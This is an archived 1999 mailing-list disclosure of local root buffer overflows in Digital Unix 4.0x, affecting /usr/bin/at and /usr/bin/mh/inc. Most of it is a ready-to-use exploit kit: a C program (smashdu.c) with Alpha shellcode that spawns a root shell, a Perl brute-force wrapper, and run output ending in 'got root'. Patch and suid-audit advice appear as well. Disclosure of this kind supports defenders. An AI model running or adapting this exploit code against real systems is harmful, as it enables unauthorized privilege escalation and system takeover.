TUCoPS :: Unix :: Various Flavours :: smashdu.txt

Digital Unix 4.0x - Many new buffer overflows due to new executable stack not present in older version


[ http://www.rootshell.com/ ]

Date: Mon, 1 Feb 1999 13:41:25 -0800
From: Lamont Granquist <lamontg@RAVEN.GENOME.WASHINGTON.EDU>
Subject: Digital Unix Buffer Overflows: Exploits


Here is the long awaited exploit script.

I am interested in any other buffer overflow holes which people find in
Digital Unix.  Please see my previous post, though, about what you need to
do first before dropping me some e-mail (in particular you need to at
least get a 0x61616161616160 out of gdb -- read my previous post).




31337 s#0u7s + g4337$ t0:

  Jim Paris for bringing to my attention that DU4.0D had an exec stack
    and for suggestions for the shellcode.
  Dave Dittrich at UW C&C for tons of help and the 'doit' script.
  Digital for a pretty decent O/S, even if it isn't open source.  Here's
    hoping that Compaq doesn't screw it up.

A big bummer to:

  CERT for never answering any of my e-mail.

----------------------------------------------------------------------------

In a Nutshell:  1. DU4.0 has stack execute permissions
                2. there exists an exploitable buffer overflow in
                   /usr/bin/mh/inc in DU4.0D patch_kit 2
                3. older unpatched systems may have other holes,
                   ex: /usr/bin/at in DU4.0B.
                4. exploit code for 2 and 3 are included.

----------------------------------------------------------------------------

The General Problem:

       Digital (now Compaq) turned on the executable bits on the stack
     and the heap for Digital Unix 4.0x.  The result is that it is now
     reasonably easy to write a buffer overflow for Digital Unix, following
     the guidelines of Aleph1's "smashing the stack" Phrack article.
     Previous versions of Digital Unix (tested on 3.2C) were not vulnerable
     to simple buffer overflows since neither the stack nor the heap were
     executable.
       It is likely that this choice by Digital to turn on the executable
     bits in data areas is driven by either Java compilers or the need for
     trampolines to work correctly (see Solar Designer's stack executable
     patch for Linux).  Unfortunately, this makes the OS significantly
     easier to write buffer overflows for.
       It is likely that exploitable buffer overflow bugs exist in versions
     of Digital Unix such as 3.2C which don't have stack execute permissions,
     but the exploitation of these bugs will be significantly harder.  The
     return-into-libc method of attack[1,2] may work against 3.x version of
     Digital Unix, therefore 3.x system administrators should not feel a
     false sense of security.

     [1] http://www.netspace.org/cgi-bin/wa?A2=ind9708B&L=bugtraq&P=R578
     Subject: Getting around non-executable stack (and fix)
     From:    Solar Designer <solar@FALSE.COM>

     [2] http://www.netspace.org/cgi-bin/wa?A2=ind9802A&L=bugtraq&P=R345
     Subject: Defeating Solar Designer non-executable stack patch
     From:    Rafal Wojtczuk <nergal@ICM.EDU.PL>


The Implications:

       It should be possible to adapt most of the popular buffer overflows
     in other O/Ses to Digital Unix.  In particular, the remote buffer
     overflows for named, statd and ttdbserverd should be adaptable to
     Digital Unix in principle.  Locally exploitable buffer overflows such
     as the at and xlock bugs should also be adaptable to Digital Unix.
     An example (/usr/bin/at) is given below, along with a new (AFAIK)
     exploit of /usr/bin/mh/inc.

The General Fix:

       Stay up-to-date on patches released by Digital^H^H^H^H^H^H^HCompaq.
     The Digital Unix patch kits are available at:

         ftp://ftp.service.digital.com/public/dunix/

     The files that you want are the reasonably large ones that start
     out with something like "DUV40DAS00002" (for DU4.0D patch kit 2).
       Digital appears to do a reasonable job at staying up-to-date on
     security problems reported in other O/Ses.  For example, they've got
     patches for statd, and ttdbserverd, along with having apparently
     fixed the /usr/bin/at problem somewhere between DU4.0B and DU4.0D.

Worrisome Things:

       Try this as root:

   # find / -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \;
   # find /usr -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \;

     You should take particular note of:

-rwsr-s---   1 root     system   13860864 Dec  9  1997 /usr/opt/pm/bin/pmgr
-r-sr-xr-x   1 root     bin      8921088 Sep 24  1997 /usr/bin/ladebug

     Personally, a meg or so of suid root code makes me jittery.  I tried to
     bang on these programs a little bit to find a buffer overflow, but
     failed.  I strongly expect that this is only due to a lack of trying.
     I haven't looked at /tmp symlink attacks or anything of the sort,
     either.  It's gotta be there.  I suggest employing chmod ug-s.

----------------------------------------------------------------------------
Specific Problem:  /usr/bin/at in DU4.0B

       This is pretty simple.  Compile smashdu.c below and execute it with
     the command line arguments of:

   % ./smashdu 1022 2 56 /usr/bin/at %e
   using 1022 2 56
   putting overflow code into argv[1]
   #

     On unpatched DU4.0B this should give you root (as shown).  In DU4.0D
     /usr/bin/at can be made to coredump, but it does not appear to be easily
     exploitable (see above for discussion of return-into-libc attacks).

----------------------------------------------------------------------------
Specific Problem:  /usr/bin/mh/inc in DU4.0D w/patch kit 2


       This problem exists in DU4.0D w/patch kit 2.  It's a little bit more
     involved than the run-of-the-mill buffer overflow, however.  The size
     of the buffer appears to depend on parameters such as the length of
     the person's username and possibly other factors.  The result is that
     we need to wrap 'smashdu' in a little script to try different buffer
     lengths and offsets into the stack.  The script looks like:

#!/usr/local/bin/perl

$n=8175;
foreach $j (1..1000) {
  foreach $i (0..7) {
    $x = $n + $j;
    printf("%d %d\n",$x,$i);
    $cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo";
    open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
    while (<S>) {
      if (m|uid=0|) {
        print "got root with '$cmd'\n";
        exit(0);
      }
    }
  close(S);
  }
}
exit(0);


     When this script runs it typically looks something like the below.  It
     should run for awhile with no errors, then start throwing faults then
     finally give the command line args to 'smashdu' which will work.  If it
     starts faulting immediately and then seems to run forever, then try
     adjusting the starting number in the script (8176) downwards.  The
     output below is typical.

% ./doit
8176 0
8176 1
8176 2
8176 3
8176 4
8176 5
8176 6
8176 7
8177 0
8177 1
8177 2
8177 3
8177 4
8177 5
8177 6
8177 7
8178 0
8178 1
8178 2
8178 3
8178 4
8178 5
8178 6
8178 7
8179 0
sh: 20897 Memory fault
8179 1
sh: 20601 Memory fault
8179 2
sh: 20216 Memory fault
8179 3
sh: 20942 Memory fault
8179 4
sh: 20861 Memory fault
8179 5
sh: 20548 Memory fault
8179 6
sh: 20639 Memory fault
8179 7
sh: 20571 Memory fault
8180 0
sh: 20890 Illegal instruction
8180 1
sh: 20929 Illegal instruction
8180 2
sh: 20994 Illegal instruction
8180 3
sh: 17810 Illegal instruction
8180 4
sh: 20898 Illegal instruction
8180 5
sh: 20651 Illegal instruction
8180 6
sh: 430 Illegal instruction
8180 7
sh: 3621 Illegal instruction
8181 0
sh: 20760 Illegal instruction
8181 1
sh: 20832 Illegal instruction
8181 2
sh: 20920 Illegal instruction
8181 3
sh: 20933 Illegal instruction
8181 4
sh: 13099 Illegal instruction
8181 5
sh: 20179 Illegal instruction
8181 6
sh: 19680 Illegal instruction
8181 7
sh: 19839 Illegal instruction
8182 0
sh: 19824 Memory fault
8182 1
sh: 19901 Memory fault
8182 2
sh: 4701 Memory fault
8182 3
sh: 107 Memory fault
8182 4
sh: 19347 Memory fault
8182 5
sh: 20610 Memory fault
8182 6
sh: 20946 Memory fault
8182 7
sh: 19815 Memory fault
8183 0
sh: 19775 Memory fault
8183 1
sh: 20532 Memory fault
8183 2
sh: 20996 Memory fault
8183 3
sh: 20964 Memory fault
8183 4
sh: 20676 Memory fault
8183 5
sh: 31924 Memory fault
8183 6
sh: 20892 Memory fault
8183 7
sh: 20853 Memory fault
8184 0
sh: 20986 Illegal instruction
8184 1
sh: 15606 Illegal instruction
8184 2
got root with './smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo'

     Enjoy.

----------------------------------------------------------------------------

THE CODE

How it works:

       The following example code should be a pretty decent toolkit for
     doing buffer overruns on DU4.0x.  The buffer overflow itself is pretty
     kludgy and is contained in the genshellcode() function and in the
     rawcode[] buffer.  The entry point to the shellcode is in the middle
     of the shellcode, *not* at the beginning, so that I can do a branch
     backwards (offset is negative -- e.g. 0xffed, instead of positive --
     e.g. 0x0038) which avoids a zero in the shellcode.  Therefore
     genshellcode() has to be a little bit more convoluted and has to modify
     the ending branch instruction.
       The shellcode itself is a little bit nutty in order to avoid all
     those nulls.  Avoiding nulls is a real pain.  The call_pal instruction
     (part of exec("/bin/sh")) has a bunch of unavoidable nulls and the
     "/bin/sh" itself has an unavoidable null -- the xors are for taking
     care of things like that.  It also uses offsets of about 0x140 to
     avoid nulls in the first byte of the offset.
       I'm not an alpha assembly language hacker, so this thing might be able
     to be done better and tighter.  Right now it must be at least 80 bytes
     in length.
       The shellcode gets dumped into an environment variable, similarly to
     Aleph1's code in his phrack article.  You can also specify command line
     arguments of the form '-e "DISPLAY=foo:0.0"' (ex) if you need additional
     ones.  It then takes the shellcodesize (size on the heap where the
     shellcode gets stuck -- 80 is the minimum -- this is not the buffer that
     gets overflowed -- 1024 is probably a good value), then the padding
     (a value from 0..7 which adjusts the shellcode so that it is on a 64-bit
     word boundary since env variables are not aligned at all), then the
     size of the buffer overflow.  The buffer overflow currently fills the
     buffer with 'a' (0x61) characters and then the ra.  The ra can be changed
     with the '-r' argument -- remember to avoid nulls in the ra.
       Then you simply give command line arguments as you would normally to
     run the program you are trying to overflow where a single %e will get
     substituted by the buffer overflow.

     ex:

./smashdu -e "DISPLAY=foo:0.0" 1024 0 1501 /usr/bin/X11/xterm -fg %e

     (which nearly works -- i can't figure it out -- 1501 is too long while
      1500 is too short -- Digital Unix 4.0B, unpatched).

The Code: smashdu.c


/* smashdu.c
   generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
   Lamont Granquist
   lamontg@hitl.washington.edu
   lamontg@u.washington.edu
   Tue Dec  1 11:22:03 PST 1998

   gcc -o smashdu smashdu.c */

#define MAXENV 30
#define MAXARG 30

#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>

/* shellcode = 80 bytes.  as the entry to this shellcode is at offset+72 bytes
   it cannot be simply padded with nops prior to the shellcode.  */

int rawcode[] = {
  0x2230fec4,              /* subq $16,0x13c,$17       */
  0x47ff0412,              /* clr $18                  */
  0x42509532,              /* subq $18, 0x84           */
  0x239fffff,              /* xor $18, 0xffffffff, $18 */
  0x4b84169c,
  0x465c0812,
  0xb2510134,              /* stl $18, 0x134($17)      */
  0x265cff98,              /* lda $18, 0xff978cd0      */
  0x22528cd1,
  0x465c0812,              /* xor $18, 0xffffffff, $18 */
  0xb2510140,              /* stl $18, 0x140($17)      */
  0xb6110148,              /* stq $16,0x148($17)       */
  0xb7f10150,              /* stq $31,0x150($17)       */
  0x22310148,              /* addq $17,0x148,$17       */
  0x225f013a,              /* ldil $18,0x13a           */
  0x425ff520,              /* subq $18,0xff,$0         */
  0x47ff0412,              /* clr $18                  */
  0xffffffff,              /* call_pal 0x83            */
  0xd21fffed,              /* bsr $16,$l1    ENTRY     */
  0x6e69622f,              /* .ascii "/bin"            */
                           /* .ascii "/sh\0" is generated */
};

int nop           = 0x47ff041f;
int shellcodesize = 0;
int padding       = 0;
int overflowsize  = 0;
long retaddr      = 0x11fffff24;


void usage(void) {
  fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
  fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
  fprintf(stderr, "  -e: add a variable to the environment\n");
  fprintf(stderr, "  -r: change ra from default 0x11fffff24\n");
  fprintf(stderr, "  shellsize: size of shellcode on the heap\n");
  fprintf(stderr, "  pad: padding to alighn the shellcode correctly\n");
  fprintf(stderr, "  bufsize: size of the buffer overflow on the stack\n");
  fprintf(stderr, "  cmdargs: %%e will be replaced by buffer overflow\n");
  fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
  fprintf(stderr, "/foo/bar %%e\n");
  exit(-1);
}

/* this handles generation of shellcode of the appropriate size and with
   appropriate padding bytes for alignment.  the padding argument should
   typically only be 0,1,2,3 and the routine is "nice" in that if you feed
   it the size of your malloc()'d buffer it should prevent overrunning it
   by automatically adjusting the shellcode size downwards. */


int genshellcode(char *shellcode, int size, int padding) {
  int i, s, n;
  char *rp;
  char *sp;
  char *np;

  rp = (char *)rawcode;
  sp = (char *)shellcode;
  np = (char *)&nop;
  s  = size;

  if (size < (80 + padding))  {
    fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
    fprintf(stderr, "with %d padding\n", size, padding);
    exit(-1);
  }

/* first we pad */
  for(i=0;i<padding;i++) {
    *sp = 0x6e;
    sp++;
    s--;
  }

/* then we copy over the first 72 bytes of the shellcode */
  for(i=0;i<72;i++) {
    *sp = rp[i];
    sp++;
    s--;
  }

  if (s % 4 != 0) {
    n = s % 4;
    s -= n;
    printf("shellcode truncated to %d bytes\n", size - n);
  }

/* then we add the nops */
  for(i=0; s > 8; s--, i++) {
    *sp = np[i % 4];
    sp++;
  }
  n = i / 4;       /* n == number of nops */

/* then we add the tail 2 instructions */
  for(i=0; i < 8; i++) {
    *sp = rp[i+72];
    if(i==0)   /* here we handle modifying the branch instruction */
      *sp -= n;
    *sp++;
  }

}

int main(argc, argv)
  int   argc;
  char *argv[];
{
  char *badargs[MAXARG];
  char *badenv[MAXENV];
  long  i, *ip, p;
  char *cp, *ocp;
  int   c, env_idx, overflow_idx;

  env_idx = 0;

  while ((c = getopt(argc, argv, "e:r:")) != EOF) {
    switch (c) {
    case 'e':                         /* add an env variable */
      badenv[env_idx++] = optarg;
      if (env_idx >= MAXENV - 2) {
        fprintf(stderr, "too many envs, ");
        fprintf(stderr, "try increasing MAXENV and recompiling\n");
        exit(-1);
      }
      break;
    case 'r':                         /* change default ra */
      sscanf(optarg, "%x", &retaddr);
      break;
    default:
      usage();
      /* NOTREACHED */
    }
  }

  if (argc - optind < 4) {
    usage();
  }

  shellcodesize = atoi(argv[optind++]);
  padding       = atoi(argv[optind++]);
  overflowsize  = atoi(argv[optind++]);

  printf("using %d %d %d\n", shellcodesize, padding, overflowsize);

/* copy the args over from argv[] into badargs[] */
  for(i=0;i<29;i++) {
    if (strncmp(argv[optind], "%e", 3) == 0) {  /* %e gets the shellcode */
      badargs[i] = malloc(overflowsize);
      overflow_idx = i;
      optind++;
    } else {
      badargs[i] = argv[optind++];
    }
    if (optind >= argc) {
      i++;
      break;
    }
  }

  badargs[i] = NULL;

  if (optind < argc) {
    fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
    exit(-1);
  }

  printf("putting overflow code into argv[%d]\n", overflow_idx);

  cp = badargs[overflow_idx];
  for(i=0;i<overflowsize-8;i++) {
    *cp = 0x61;
    cp++;
  }

  ocp = (char *) &retaddr;

  for(i=0;i<8;i++) {
    cp[i] = ocp[i];
  }

/* here is where we actually shovel the shellcode into the environment */
  badenv[env_idx] = malloc(1024);
  genshellcode(badenv[env_idx++],shellcodesize,padding);
  badenv[env_idx] = NULL;

/* and now we call our program with the hostile args */
  execve(badargs[0], badargs, badenv);

}


--
Lamont Granquist                       lamontg@raven.genome.washington.edu
Dept. of Molecular Biotechnology       (206)616-5735  fax: (206)685-7344
Box 352145 / University of Washington / Seattle, WA 98195
PGP pubkey: finger lamontg@raven.genome.washington.edu | pgp -fka

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH